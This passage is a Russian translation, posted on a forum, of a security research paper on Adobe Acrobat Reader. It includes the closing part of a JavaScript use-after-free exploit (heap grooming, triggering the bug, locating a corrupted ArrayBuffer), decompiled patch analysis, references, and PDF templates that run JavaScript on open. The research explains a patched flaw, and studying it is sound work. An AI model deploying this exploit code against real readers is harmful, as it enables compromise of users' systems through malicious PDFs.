            createHoles(smallArrayBuffers);
            gc();
            return 1;
        },
    };
    f1.calcOrderIndex = value;
}
function findCorruptedArrayBuffer() {
    for (var i = 0; i < smallArrayBuffers.length; ++i) {
        var ab = smallArrayBuffers[i];
        if (ab && ab.byteLength != smallByteLength) {
            app.alert('ArrayBuffer[' + i + '].byteLength = ' +
                ab.byteLength.toString(16));
            return ab;
        }
    }
}
function exploit() {
    bigArrayBuffers = fillLowerAddressMemory(0x1000);
    baseString = createBaseString(0x1000, predictableAddress);
    triggerUAF();
    findCorruptedArrayBuffer();
}
exploit();

5.4.4 Анализ патчей

В этом разделе не будет обсуждаться, как была исправлена уязвимость в Adobe Acrobat Reader DC 2020.006.20042. Вместо этого будет обсуждаться, почему эксплойт больше не работает, начиная с Adobe Acrobat Reader DC 2019.021.20047.

Обновленная функция установки свойства calcOrderIndex показывает, что флаг будет установлен перед доступом к внутреннему объекту свойства Field, и флаг будет сброшен перед выходом из функции установки.

C:
// sub_20A51A10 in AcroForm.api / Adobe Acrobat Reader DC 2019.021.20047
int __cdecl field_calcOrderIndex_setter(
    int field_object, int property_name, int new_index_jsobj) {
  // --------------------------- cut ---------------------------
  internal_field = get_object_property(field_object, "Field");
  if ( internal_field ) sub_20AC60D7(internal_field, 1);    // set flag
  if ( !get_object_property ) goto LABEL_17;
  name_list = get_name_list(*(_DWORD**)(*(_DWORD*)(internal_field + 4) + 4));
  // --------------------------- cut ---------------------------
  if ( internal_field ) sub_20AC60D7(internal_field, 0);    // clear flag
  return v9;
}

Здесь свойство с именем LockFieldProp будет привязано к внутреннему объекту свойства Field функцией sub_20AC60D7.

C:
int __cdecl sub_20AC60D7(int internal_field, unsigned __int16 value) {
  int result = dword_213E79E8;
  if ( !dword_213E79E8 ) {
    result = sub_208672A6("LockFieldProp", 1);  // construct a string
    dword_213E79E8 = result;                // save to global variable
  }
  if ( internal_field ) {
    int v3 = sub_208676B3(result);          // duplicate the string
    result = sub_20B4CFA5(internal_field, v3, value, 0);    // bind
  }
  return result;
}

Функция sub_2092AF70 будет вызываться при выполнении кода проверки концепции. В этой функции флаг LockFieldProp будет проверяться в соответствии с глобальной переменной dword_213E79E8. Если флаг установлен в 1, код в операторе if будет пропущен, так что объект поля не будет уничтожен.

C:
wchar_t *__cdecl sub_2092AF70(wchar_t *a1, wchar_t *a2) {
  // --------------------------- cut ---------------------------
        if ( !dword_213E79E8 ||
            (result = sub_20B4E27F(internal_field, dword_213E79E8)) == 0 ) {
          v11 = operator new(0x14u);
          if ( v11 )
            v12 = sub_2092B520(v11);
          else
            v12 = 0;
          v13 = sub_2092B53F(v14, v2, v5);
          if ( !sub_2092B5C2(4, v13, 0, 1, 0) ) {
            if ( v12 ) {
              sub_2092B953(v12);
              sub_2085F980(v12);
            }
          }
          // must be called to destroy the field object
          result = sub_2092B991(v15, v2, v5, 1);
        }
  // --------------------------- cut ---------------------------
}

Анализ показывает, что все функции установки свойств объекта поля защищены одним и тем же механизмом. Другими словами, кажется, что больше невозможно уничтожить объект поля в функциях установки его свойств.

6. Благодарности

Я хотел бы поблагодарить HITBSecConf 2020 Amsterdam за предоставленную мне возможность поделиться своими последними исследованиями и ZeroNights 2019 за предоставленную мне возможность поделиться своими предыдущими исследованиями по этой теме. Я также хотел бы поблагодарить Adobe PSIRT за фикс уязвимости перед конференциями.

Использованная литература:

[01] UTF-8, UTF-16, UTF-32 & BOM - unicode.org
[02] strncpy() history - lwn.net
[03] String Handling <string.h> - ANSI C Rationale
[04] strcpy_s, wcscpy_s - MSDN
[05] strncpy_s, wcsncpy_s - MSDN
[06] OR'LYEH? The Shadow over Firefox - phrack.org
[07] JavaScript™ for Acrobat® API Reference - adobe.com
[08] Adobe LiveCycle Designer 11 Scripting Reference - createNode - adobe.com
[09] Deep Analysis of CVE-2019-8014: The Vulnerability Ignored 6 Years Ago - xlab.tencent.com
[10] Two Bytes to Rule Adobe Reader Twice: The Black Magic Behind the Byte Order Mark -
zeronights.ru
[11] CVE-2019-8039.js - gist.github.com

7. Приложение

7.1 Adobe FTP-сервер


Все офлайн-установщики Adobe Acrobat Reader DC можно найти на FTP-сервере Adobe.

ftp://ftp.adobe.com/pub/adobe/reader/win/AcrobatDC/

7.2 Обычный шаблон PDF


Этот шаблон показывает, как выполнять код JavaScript в обычных файлах PDF.

%PDF-1.7
1 0 obj<</Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R>>endobj
2 0 obj<</Type/Outlines/Count 0>>endobj
3 0 obj<</Type/Pages/Kids[4 0 R]/Count 1>>endobj
4 0 obj<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>endobj
5 0 obj<</Type/Action/S/JavaScript/JS 6 0 R>>endobj
6 0 obj<</Length 50>>
stream
console.show();
console.println('Hello, World!');
endstream
endobj
xref
0 7
0000000000 65535 f
0000000010 00000 n
0000000086 00000 n
0000000127 00000 n
0000000177 00000 n
0000000241 00000 n
0000000294 00000 n
trailer<</Size 7/Root 1 0 R>>
startxref
396
%%EOF

7.3 Шаблон XFA PDF

Этот шаблон показывает, как выполнять код JavaScript в файлах XFA PDF.

%PDF-1.7
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/AcroForm 6 0 R
/OpenAction 9 0 R
/NeedsRendering true
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/Contents 4 0 R
/MediaBox [0 0 612 792]
/Resources
<<
/Font <</F1 5 0 R>>
/ProcSet [/PDF /Text]
>>
/Annots [8 0 R]
>>
endobj
4 0 obj
<</Length 94>>
stream
BT
/F1 24 Tf
100 600 Td
(Your PDF reader does not support XFA if you see this sentence.) Tj
ET
endstream
endobj
5 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj
6 0 obj
<<
/Fields [7 0 R]

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://kiprey.github.io/2020/06/AN...e_times_with_malformed_strings_whitepaper.pdf
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх